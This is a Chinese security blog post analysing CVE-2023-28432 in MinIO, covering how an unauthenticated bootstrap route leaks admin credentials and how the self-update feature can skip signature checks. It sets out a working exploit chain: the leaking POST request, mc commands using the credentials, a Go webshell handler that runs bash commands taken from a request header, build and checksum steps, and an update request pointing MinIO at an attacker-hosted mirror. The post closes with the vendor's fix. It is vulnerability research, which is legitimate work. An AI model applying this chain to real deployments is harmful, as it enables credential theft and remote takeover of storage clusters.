探索网络安全新技术
攀登黑客技术最高峰

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析

MinIO简介

MinIO 是一套私有云对象存储的解决方案

Github Advisory: https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q

漏洞分析

漏洞原理为 MinIO 的某个 API 路由没有鉴权, 导致可以通过该路由获取 MinIO 在系统中的环境变量, 进而得到管理员的账号密码和 SecretKey。

// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
  ctx := newContext(r, w, "VerifyHandler")
  cfg := getServerSystemCfg()
  logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}

// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
  envs := env.List("MINIO_")
  envValues := make(map[string]string, len(envs))
  for _, envK := range envs {
    // skip certain environment variables as part
    // of the whitelist and could be configured
    // differently on each nodes, update skipEnvs()
    // map if there are such environment values
    if _, ok := skipEnvs[envK]; ok {
      continue
    }
    envValues[envK] = env.Get(envK, "")
  }
  return ServerSystemConfig{
    MinioEndpoints: globalEndpoints,
    MinioEnv:       envValues,
  }
}

通告上写到该漏洞只在集群模式下有效,下载源码直奔 cmd/router.go 查看路由

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

路由地址在最上面

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

以 vulhub 的环境为例, 注意发送的是 POST 方法

POST /minio/bootstrap/v1/verify

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

自更新是 MinIO 一项功能, 但是它的自更新可以指定一个私有的 mirror url, 导致可以将 url 指向恶意文件进而 RCE

MinIO 有一个管理客户端 mc, 它的 mc admin update 对应的就是服务端的自更新

https://min.io/docs/minio/linux/reference/minio-mc-admin/mc-admin-update.html#command-mc.admin.update

update handler 位于 AdminRouter 中

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

首先验证是否为 admin, 然后获取 updateURL, 如果为空的话会指定一个默认的 minioReleaseInfoURL, 即https://dl.min.io/server/minio/release/darwin-arm64/minio.sha256sum

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

然后调用 downloadReleaseURL 和 parseReleaseData

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

注意 parseReleaseData 会验证 sha256sum 的文件内容是否满足 minio.RELEASE.2016-10-07T01-16-39Z. 的格式, 如果格式不对则会返回 error

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

验证完格式之后, 它会将路径重新处理, 改成 url + / + minio.RELEASE.2016-10-07T01-16-39Z. 的形式,其中的 releaseInfo 与前面 sha256sum 中的第二个字段对应

然后会将目标版本和当前版本进行对比, 如果目标版本的日期小于等于当前版本会提示无需更新

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

再次下载对应的二进制文件, 调用 verifyBinary

verifyBinary 会验证签名和 sha256

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

这里本来的作用是获取对应的 .minisig 文件, 使用 minisignPubKey 解密, 验证签名是否正确

因为 minisignPubKey 是从环境变量中获得的, 如果环境变量中没有对应的值就会默认给个空值, 就会直接跳过下面对签名的验证

所以我们就可以利用这个缺陷来自更新恶意二进制文件实现 RCE

但由于 MinIO 默认在 Dockerfile 里面配置了官方的公钥, 所以官方 Docker 版本的 MinIO 就无法通过这种方式实现 RCE

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

后面调用 CommitBinary

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

CommitBinary 的功能其实就是替换当前的 MinIO 二进制文件

func CommitBinary(opts Options) error {
	// get the directory the file exists in
	targetPath, err := opts.getPath()
	if err != nil {
		return err
	}

	updateDir := filepath.Dir(targetPath)
	filename := filepath.Base(targetPath)
	newPath := filepath.Join(updateDir, fmt.Sprintf(".%s.new", filename))

	// this is where we'll move the executable to so that we can swap in the updated replacement
	oldPath := opts.OldSavePath
	removeOld := opts.OldSavePath == ""
	if removeOld {
		oldPath = filepath.Join(updateDir, fmt.Sprintf(".%s.old", filename))
	}

	// delete any existing old exec file - this is necessary on Windows for two reasons:
	// 1. after a successful update, Windows can't remove the .old file because the process is still running
	// 2. windows rename operations fail if the destination file already exists
	_ = os.Remove(oldPath)

	// move the existing executable to a new file in the same directory
	err = os.Rename(targetPath, oldPath)
	if err != nil {
		return err
	}

	// move the new exectuable in to become the new program
	err = os.Rename(newPath, targetPath)

	if err != nil {
		// move unsuccessful
		//
		// The filesystem is now in a bad state. We have successfully
		// moved the existing binary to a new location, but we couldn't move the new
		// binary to take its place. That means there is no file where the current executable binary
		// used to be!
		// Try to rollback by restoring the old binary to its original path.
		rerr := os.Rename(oldPath, targetPath)
		if rerr != nil {
			return &rollbackErr{err, rerr}
		}

		return err
	}

	// move successful, remove the old binary if needed
	if removeOld {
		errRemove := os.Remove(oldPath)

		// windows has trouble with removing old binaries, so hide it instead
		if errRemove != nil {
			_ = hideFile(oldPath)
		}
	}

	return nil
}

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

最后发送 serviceRestart 信号重启整个集群

综上, 要想实现自更新 RCE, 需要满足以下几个条件

准备好符合命名格式的恶意二进制文件和对应的 sha256sum 文件
文件名称中的版本日期必须大于目标 MinIO 的版本
目标系统没有在环境变量中配置 MINIO_UPDATE_MINISIGN_PUBKEY
因为自更新需要替换整个二进制文件并重启, 所以需要二开官方的 MinIO, 在里面加入一个 webshell
注意更新这个操作在实战环境中会有一定的风险, 所以我们需要基于目标当前版本的 MinIO 进行二开

使用 mc 可以获取到目标 MinIO 的版本

mc alias set minio http://127.0.0.1:9000/ minioadmin minioadmin-vulhub
mc admin info minio

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

下载好对应的源码, 在 routers.go 里面加一个 evil handler

package cmd

import (
	"net/http"
	"os/exec"
)

func evilHandler(h http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		cmd := r.Header.Get("Cmd")
		if cmd != "" {
			p := exec.Command("bash", "-c", cmd)
			output, _ := p.Output()
			w.Write([]byte(output))
		} else {
			h.ServeHTTP(w, r)
		}
	})
}

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

编译, 生成对应的 sha256sum

go mod tidy
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build
mv minio minio.RELEASE.2023-02-27T18-10-50Z
shasum -a 256 minio.RELEASE.2023-02-27T18-10-50Z > minio.RELEASE.2023-02-27T18-10-50Z.sha256sum

最后利用 mc 发送自更新的请求

mc admin update minio http://host.docker.internal:8000/minio.RELEASE.2023-02-27T18-10-50Z.sha256sum

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

效果如下图

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

并且由于是集群模式, 集群中的所有主机都自更新了一次

CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析-威武网安

官方修复方法

https://github.com/minio/minio/commit/3b5dbf90468b874e99253d241d16d175c2454077

https://github.com/minio/minio/commit/05444a0f6af8389b9bb85280fc31337c556d4300

首先对 verfiy handler 加上了鉴权, 并且对环境变量做了一次 hash, 这样就无法得到实际的内容

然后设置了默认公钥, 即 defaultMinisignPubkey, 阻止了自更新 RCE 的可能性

本文作者:X1r0z
原文链接:MinIO CVE-2023-28432 & 自更新 RCE 分析

打赏
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《CVE-2023-28432:MinIO 自更新 RCE 漏洞原理分析》
文章链接:https://www.wevul.com/1164.html
本站所有内容均来自互联网,只限个人技术研究,禁止商业用途,请下载后24小时内删除。

文章推荐

如果文章对您有帮助 请不要吝啬 打赏一下小站

支付宝扫一扫打赏

微信扫一扫打赏

登录

找回密码

注册